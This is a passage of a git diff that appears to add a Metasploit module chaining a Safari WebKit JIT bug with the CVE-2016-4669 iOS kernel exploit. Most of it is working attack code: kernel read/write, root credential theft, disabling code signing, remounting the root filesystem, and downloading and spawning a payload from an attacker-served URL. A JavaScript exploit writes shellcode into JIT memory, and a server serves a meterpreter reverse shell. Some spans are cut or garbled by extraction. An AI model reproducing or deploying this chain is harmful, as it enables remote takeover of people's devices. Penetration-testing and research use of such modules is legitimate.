+ int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz); + if (ret < 0) { + NSLog(@"mount failed ret: %d", ret); + return -1; + } + NSLog(@"root fs mounted ro"); + + kw32(v_mount + MOUNT_mnt_flags, mnt_flags | MNT_ROOTFS); + return 0; +} + +void deploy() +{ + download(PAYLOAD_URL_PLACEHOLDER, "/bin/m"); + + pid_t pid = 0; + char *path = "/bin/m"; + char *args[] = {path, NULL}; + int ret = posix_spawn(&pid, path, 0, 0, args, NULL); + if (ret < 0) { + NSLog(@"posix_spawn failed: %d", ret); + return; + } + waitpid(pid, 0, 0); + NSLog(@"shell deployed"); +} + +void shell_main(addr_t self_space, addr_t slide) +{ + addr_t self_addr = get_port_addr(self_space, mach_task_self()); + NSLog(@"self_addr: %lx", self_addr); + + addr_t self_task = kr32(self_addr + IPC_PORT_kobject); + NSLog(@"self_task: %lx", self_task); + + addr_t self_proc = kr32(self_task + TASK_bsd_proc); + NSLog(@"self_proc: %lx", self_proc); + + addr_t kernel_proc = proc_for_pid(self_proc, 0); + NSLog(@"kernel_proc: %lx", kernel_proc); + + // privilege escalation from [1] + addr_t self_ucred = kr32(self_proc + PROC_ucred); + addr_t kernel_cred = kr32(kernel_proc + PROC_ucred); + kw32(self_proc + PROC_ucred, kernel_cred); + + NSLog(@"got root uid: %d, gid: %d", getuid(), getgid()); + + //uint32_t cs_enforcement_disable = 0; + //size_t kernel_size = 0x1000000; + //void *kernel = malloc(kernel_size); + //if (kernel) { + //kread(koffsets.base + slide, kernel, kernel_size); + //NSLog(@"got %zu kernel bytes xx", kernel_size); + //cs_enforcement_disable = find_cs_enforcement_disable_amfi(0, kernel, kernel_size); + //} else { + //NSLog(@"malloc kernel_size failed"); + //} + //if (cs_enforcement_disable != 0) { + //NSLog(@"patchfinder got cs_enforcement_disable: %lx", + //cs_enforcement_disable + koffsets.base + slide); + //koffsets.cs_enforcement_disable = cs_enforcement_disable + koffsets.base; + //koffsets.amfi_allow_any_signature = koffsets.cs_enforcement_disable - 8; + //} else { + NSLog(@"patchfinder skipped!! using hardcoded offsets"); + //} + //free(kernel); + // disable code signing by overwriting kernel arguments + // as described in [2] + // + // defeats + // outside of container && !i_can_has_debugger + kw32(koffsets.amfi_allow_any_signature + slide, 1); + kw32(koffsets.cs_enforcement_disable + slide, 1); + + // root file system remount from [1] + remount_root_rw(slide); + deploy(); + remount_root_ro(slide); + + // restore credentials + kw32(self_proc + PROC_ucred, self_ucred); +} + + + diff --git a/external/source/exploits/CVE-2016-4669/task.c b/external/source/exploits/CVE-2016-4669/task.c new file mode 100644 index 0000000000..e9fc06a1f2 --- /dev/null +++ b/external/source/exploits/CVE-2016-4669/task.c @@ -0,0 +1,206 @@ +#include "__task.h" + +#ifndef UseStaticTemplates +#define UseStaticTemplates 0 +#endif /* UseStaticTemplates */ + +#ifndef __MachMsgErrorWithoutTimeout +#define __MachMsgErrorWithoutTimeout(_R_) { \ + switch (_R_) { \ + case MACH_SEND_INVALID_DATA: \ + case MACH_SEND_INVALID_DEST: \ + case MACH_SEND_INVALID_HEADER: \ + mig_put_reply_port(InP->Head.msgh_reply_port); \ + break; \ + default: \ + mig_dealloc_reply_port(InP->Head.msgh_reply_port); \ + } \ +} +#endif /* __MachMsgErrorWithoutTimeout */ + +#ifndef __AfterSendRpc +#define __AfterSendRpc(_NUM_, _NAME_) +#endif /* __AfterSendRpc */ + +#ifndef __BeforeSendRpc +#define __BeforeSendRpc(_NUM_, _NAME_) +#endif /* __BeforeSendRpc */ + +#define msgh_request_port msgh_remote_port +#define msgh_reply_port msgh_local_port + +#ifndef mig_internal +#define mig_internal static __inline__ +#endif /* mig_internal */ + +#ifndef mig_external +#define mig_external +#endif /* mig_external */ + +#if !defined(__MigTypeCheck) && defined(TypeCheck) +#define __MigTypeCheck TypeCheck /* Legacy setting */ +#endif /* !defined(__MigTypeCheck) */ + +#ifndef __DeclareSendRpc +#define __DeclareSendRpc(_NUM_, _NAME_) +#endif /* __DeclareSendRpc */ + +mig_internal kern_return_t __MIG_check__Reply__mach_ports_register_t(__Reply__mach_ports_register_t *Out0P) +{ + + typedef __Reply__mach_ports_register_t __Reply __attribute__((unused)); + if (Out0P->Head.msgh_id != 3503) { + if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE) + { return MIG_SERVER_DIED; } + else + { return MIG_REPLY_MISMATCH; } + } + +#if __MigTypeCheck + if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) || + (Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply))) + { return MIG_TYPE_ERROR ; } +#endif /* __MigTypeCheck */ + + { + return Out0P->RetCode; + } +} + +/* Routine mach_ports_register */ +mig_external kern_return_t __mach_ports_register +( + task_t target_task, + mach_port_array_t init_port_set, + mach_msg_type_number_t init_port_setCnt +) +{ + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_ool_ports_descriptor_t init_port_set; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t init_port_setCnt; + } Request __attribute__((unused)); +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_trailer_t trailer; + } Reply __attribute__((unused)); +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply __attribute__((unused)); +#ifdef __MigPackStructs +#pragma pack() +#endif + /* + * typedef struct { + * mach_msg_header_t Head; + * NDR_record_t NDR; + * kern_return_t RetCode; + * } mig_reply_error_t; + */ + + union { + Request In; + Reply Out; + } Mess; + + Request *InP = &Mess.In; + Reply *Out0P = &Mess.Out; + + mach_msg_return_t msg_result; + +#ifdef __MIG_check__Reply__mach_ports_register_t__defined + kern_return_t check_result; +#endif /* __MIG_check__Reply__mach_ports_register_t__defined */ + + __DeclareSendRpc(3403, "mach_ports_register") + +#if UseStaticTemplates + const static mach_msg_ool_ports_descriptor_t init_port_setTemplate = { + /* addr = */ (void *)0, + /* coun = */ 0, + /* deal = */ FALSE, + /* copy is meaningful only in overwrite mode */ + /* copy = */ MACH_MSG_PHYSICAL_COPY, + /* disp = */ 19, + /* type = */ MACH_MSG_OOL_PORTS_DESCRIPTOR, + }; +#endif /* UseStaticTemplates */ + + InP->msgh_body.msgh_descriptor_count = 1; +#if UseStaticTemplates + InP->init_port_set = init_port_setTemplate; + InP->init_port_set.address = (void *)(init_port_set); + InP->init_port_set.count = 2; // was init_port_setCnt; +#else /* UseStaticTemplates */ + InP->init_port_set.address = (void *)(init_port_set); + InP->init_port_set.count = 2; // was init_port_setCnt; + InP->init_port_set.disposition = 19; + InP->init_port_set.deallocate = FALSE; + InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; +#endif /* UseStaticTemplates */ + + + InP->NDR = NDR_record; + + InP->init_port_setCnt = init_port_setCnt; + + InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX| + MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); + /* msgh_size passed as argument */ + InP->Head.msgh_request_port = target_task; + InP->Head.msgh_reply_port = mig_get_reply_port(); + InP->Head.msgh_id = 3403; + +/* BEGIN VOUCHER CODE */ + +#ifdef USING_VOUCHERS + if (voucher_mach_msg_set != NULL) { + voucher_mach_msg_set(&InP->Head); + } +#endif // USING_VOUCHERS + +/* END VOUCHER CODE */ + + __BeforeSendRpc(3403, "mach_ports_register") + msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + __AfterSendRpc(3403, "mach_ports_register") + if (msg_result != MACH_MSG_SUCCESS) { + __MachMsgErrorWithoutTimeout(msg_result); + { return msg_result; } + } + + +#if defined(__MIG_check__Reply__mach_ports_register_t__defined) + check_result = __MIG_check__Reply__mach_ports_register_t((__Reply__mach_ports_register_t *)Out0P); + if (check_result != MACH_MSG_SUCCESS) + { return check_result; } +#endif /* defined(__MIG_check__Reply__mach_ports_register_t__defined) */ + + return KERN_SUCCESS; +} diff --git a/external/source/exploits/CVE-2016-4669/utils.h b/external/source/exploits/CVE-2016-4669/utils.h new file mode 100644 index 0000000000..85f90bd87e --- /dev/null +++ b/external/source/exploits/CVE-2016-4669/utils.h @@ -0,0 +1,46 @@ +#ifndef UTILS_H +#define UTILS_H + +@import Foundation; +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* See NOTES */ +#include + +#include +#include + +typedef mach_port_t io_object_t; +typedef io_object_t io_iterator_t; +typedef io_object_t io_service_t; +typedef char * io_buf_ptr_t; +typedef uintptr_t addr_t; + +void for_other_threads(void (^handler)(thread_act_t thread)); +void set_nofile_limit(); +int download(char *src, char *dest); +mach_port_t alloc_port(); +kern_return_t kalloc_ool_ports(mach_port_t port, mach_port_t ool_port, size_t cnt); +kern_return_t kalloc_page_ool_ports(mach_port_t port); +kern_return_t kalloc_8_ool_ports(mach_port_t port, mach_port_t ool_port); +void discard_message(mach_port_t port); +void hexdump(void *ptr, size_t n); +int pipe_create(int fds[2]); +int pipe_alloc(int fds[2], void *buf, size_t size); +void pipes_close(int *pipes, size_t count); +int pipes_create(int *pipes, size_t count); +int pipes_alloc(int *pipes, size_t count, char *pipe_buf); + +#endif diff --git a/external/source/exploits/CVE-2016-4669/utils.m b/external/source/exploits/CVE-2016-4669/utils.m new file mode 100644 index 0000000000..3592f621c6 --- /dev/null +++ b/external/source/exploits/CVE-2016-4669/utils.m @@ -0,0 +1,248 @@ +// [1] https://github.com/externalist/exploit_playground/blob/master/empty_list/empty_list/empty_list/sploit.c +#include "utils.h" + +void for_other_threads(void (^handler)(thread_act_t thread)) +{ + thread_act_t thread_self = mach_thread_self(); + thread_act_port_array_t list; + mach_msg_type_number_t count; + kern_return_t kr = 0; + + kr = task_threads(mach_task_self(), &list, &count); + if (kr != KERN_SUCCESS) { + NSLog(@"task_threads failed"); + return; + } + + for (int i=0; i 'Safari JIT Exploit', + 'Description' => %q{ + This module exploits a JIT optimisation bug in Safari Webkit. This allows us to + write shellcode to an RWX memory section in JavaScriptCore and execute it. The + shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw, + obtains root and disables code signing. Finally we download and execute the + meterpreter payload. + This module has been tested against iOS 7.1.2 on an iPhone 4. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'kudima', # ishell + 'Ian Beer', # CVE-2016-4669 + 'WanderingGlitch', # CVE-2018-4162 + 'timwr', # metasploit integration + ], + 'References' => [ + ['CVE', '2016-4669'], + ['CVE', '2018-4162'], + ['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'], + ['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'], + ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'], + ], + 'Arch' => ARCH_ARMLE, + 'Platform' => 'apple_ios', + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' }, + 'Targets' => [[ 'Automatic', {} ]], + 'DisclosureDate' => 'Aug 25 2016' + ) + ) + register_options( + [ + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]), + OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ]) + ] + ) + end + + def exploit_js + <<~JS + // + // Initial notes. + // + // If we look at publicly available exploits for this kind of + // issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore + // differently interprets the content of arrays based on + // their type, besides object pointers and 64-bit doubles may have + // the same representation. + // + // This is not the case for 32-bit version of JavaScriptCore. + // The details are in runtime/JSCJSValue.h. All JSValues are still + // 64-bit, but for the cells representing objects + // the high 32-bit are always 0xfffffffb (since we only need 32-bit + // to represent a pointer), meaning cell is always a NaN in IEEE754 + // representation used for doubles and it is not possible to confuse + // an cell and a IEEE754 encoded double value. + // + // Another difference is how the cells are represented + // in the version of JavaScriptCore by iOS 7.1.2. + // The type of the cell object is determined by m_structure member + // at offset 0 which is a pointer to Structure object. + // On 64-bit systems, at the time [2], [3] + // were published, a 32-bit integer value was used as a structure id. + // And it was possible to deterministically predict that id for + // specific object layout. + // + // The exploit outline. + // + // Let's give a high level description of the steps taken by the + // exploit to get to arbitrary code execution. + // + // 1. We use side effect bug to overwrite butterfly header by confusing + // Double array with ArrayStorage and obtain out of bound (oob) read/write + // into array butterflies allocation area. + // + // 2. Use oob read/write to build addrOf/materialize object primitives, + // by overlapping ArrayStorage length with object pointer part of a cell + // stored in Contiguous array. + // + // 3. Craft a fake Number object in order to leak real object structure + // pointer via a runtime function. + // + // 4. Use leaked structure pointer to build a fake fake object allowing + // as read/write access to a Uint32Array object to obtain arbitrary read/write. + // + // 5. We overwrite rwx memory used for jit code and redirect execution + // to that memory using our arbitrary read/write. + + var log_el = ""; + + function log(msg) { + log_el += msg + "\\n"; + } + + function logFinalize() { + alert(log_el); + } + + function main(loader, macho) { + + // auxillary arrays to facilitate + // 64-bit floats to pointers conversion + var ab = new ArrayBuffer(8) + var u32 = new Uint32Array(ab); + var f64 = new Float64Array(ab); + + function toF64(hi, lo) { + u32[0] = hi; + u32[1] = lo; + return f64[0]; + } + + function toHILO(f) { + f64[0] = f; + return [u32[0], u32[1]] + } + + function printF64(f) { + var u32 = toHILO(f); + return (u32[0].toString(16) + " " + u32[1].toString(16)); + } + + // arr is an object with a butterfly + // + // cmp is an object we compare with + // + // v is a value assigned to an indexed property, + // gives as ability to change the butterfly + function oob_write(arr, cmp, v, i) { + arr[0] = 1.1; + // place a comparison with an object, + // incorrectly modeled as side effects free + cmp == 1; + // if i less then the butterfly length, + // it simply writes the value, otherwise + // bails to baseline jit, which is going to + // handle the write via a slow path. + arr[i] = v; + return arr[0]; + } + + function make_oob_array() { + + var oob_array; + + // allocate an object + var arr = {}; + arr.p = 1.1; + // allocate butterfly of size 0x38, + // 8 bytes header and 6 elements. To get the size + // we create an array and inspect its memory + // in jsc command line interpreter. + arr[0] = 1.1; + + // toString is triggered during comparison, + var x = {toString: function () { + // convert the butterfly into an + // array storage with two values, + // initial 1.1 64-bit at 0 is going to be placed + // to m_vector and value at 1000 is placed into + // the m_sparceMap + arr[1000] = 2.2; + // allocate a new butterfly right after + // our ArrayStorage. The butterflies are + // allocated continuously regardless + // of the size. For the array we + // get 0x28 bytes, header and 4 elements. + oob_array = [1.1]; + return '1'; + } + }; + + // ArrayStorage buttefly--+ + // | + // V + //-8 -4 0 4 + // | pub length | length | m_sparceMap | m_indexBias | + // + // 8 0xc 0x10 + // | m_numValuesInVector | m_padding | m_vector[0] + // + //0x18 0x20 0x28 + // | m_vector[1] | m_vector[2] | m_vector[3] | + // + // oob_array butterfly + // | + // V + //0x30 0x34 0x38 0x40 0x48 0x50 + // | pub length | length | el0 | el1 | el2 | + // + + // We enter the function with arr butterfly + // backed up by a regular butterfly, during the side effect + // in toString method we turn it into an ArrayStorage, + // and allocate a butterfly right after it. So we + // hopefully get memory layout as on the diagram above. + // + // The compiled code for oob_write, being not aware of the + // shape change, is going to compare 6 to the ArrayStorage + // length (which we set to 1000 in toString) and proceed + // to to write at index 6 relative to ArrayStorage butterfly, + // overwriting the oob_array butterfly header with 64-bit float + // encoded as 0x0000100000001000. Which gives as ability to write + // out of bounds of oob_array up to 0x1000 bytes, hence + // the name oob_array. + + var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6); + + return oob_array; + } + + // returns address of an object + function addrOf(o) { + // overwrite ArrayStorage public length + // with the object pointer + oob_array[4] = o; + // retrieve the address as ArrayStorage + // butterfly public length + var r = oobStorage.length; + return r; + } + + function materialize(addr) { + // replace ArrayStorage public length + oobStorage.length = addr; + // retrieve the placed address + // as an object + return oob_array[4]; + } + + function read32(addr) { + var lohi = toHILO(rw0Master.rw0_f2); + // replace m_buffer with our address + rw0Master.rw0_f2 = toF64(lohi[0], addr); + var ret = u32rw[0]; + // restore + rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]); + return ret; + } + + function write32(addr, v) { + var lohi = toHILO(rw0Master.rw0_f2); + rw0Master.rw0_f2 = toF64(lohi[0], addr); + // for some reason if we don't do this + // and the value is negative as a signed int ( > 0x80000000) + // it takes base from a different place + u32rw[0] = v & 0xffffffff; + rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]); + } + + function testRW32() { + var o = [1.1]; + + log("--------------- testrw32 -------------"); + log("len: " + o.length); + + var bfly = read32(addrOf(o)+4); + log("bfly: " + bfly.toString(16)); + + var len = read32(bfly-8); + log("bfly len: " + len.toString(16)); + write32(bfly - 8, 0x10); + var ret = o.length == 0x10; + log("len: " + o.length); + write32(bfly - 8, 1); + log("--------------- testrw32 -------------"); + return ret; + } + + // dump @len dword + function dumpAddr(addr, len) { + var output = 'addr: ' + addr.toString(16) + "\\n"; + for (var i=0; im_executable + var m_executable = read32(addrOf(exec)+0xc); + + // m_executable->m_jitCodeForCall + var jitCodeForCall = read32(m_executable + 0x14) - 1; + log("jit code pointer: " + jitCodeForCall.toString(16)); + + // Get JSCell::destroy pointer, and pass it + // to the code we are going to execute as an argument + var n = new Number(1.1); + var struct = read32(addrOf(n)); + // read methodTable + var classInfo = read32(struct + 0x20); + // read JSCell::destroy + var JSCell_destroy = read32(classInfo + 0x10); + + log("JSCell_destroy: " + JSCell_destroy.toString(16)); + + // overwrite jit code of exec function + for (var i=0; i 'application/octet-stream' }) + return + elsif request.uri.starts_with? '/macho.b64' + loader_data = exploit_data('CVE-2016-4669', 'macho') + payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload" + payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER') + loader_data[payload_url_index, payload_url.length] = payload_url + loader_data = Rex::Text.encode_base64(loader_data) + send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' }) + return + elsif request.uri.starts_with? '/payload' + print_good('Target is vulnerable, sending payload!') + send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' }) + return + end + + html = <<~HTML + + + + + + HTML + + send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' }) + end + +end diff --git a/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb index db1b846e59..b93d115582 100644 --- a/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb @@ -41,6 +41,6 @@ module MetasploitModule scheme: 'http', stageless: true } - MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :exec + MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :sha1 end end diff --git a/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb index 5a0f516b5a..1bf7f4a653 100644 --- a/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb @@ -41,6 +41,6 @@ module MetasploitModule scheme: 'https', stageless: true } - MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :exec + MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :sha1 end end diff --git a/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb index bba532a891..c86d239424 100644 --- a/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb @@ -41,6 +41,6 @@ module MetasploitModule scheme: 'tcp', stageless: true } - MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :exec + MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :sha1 end end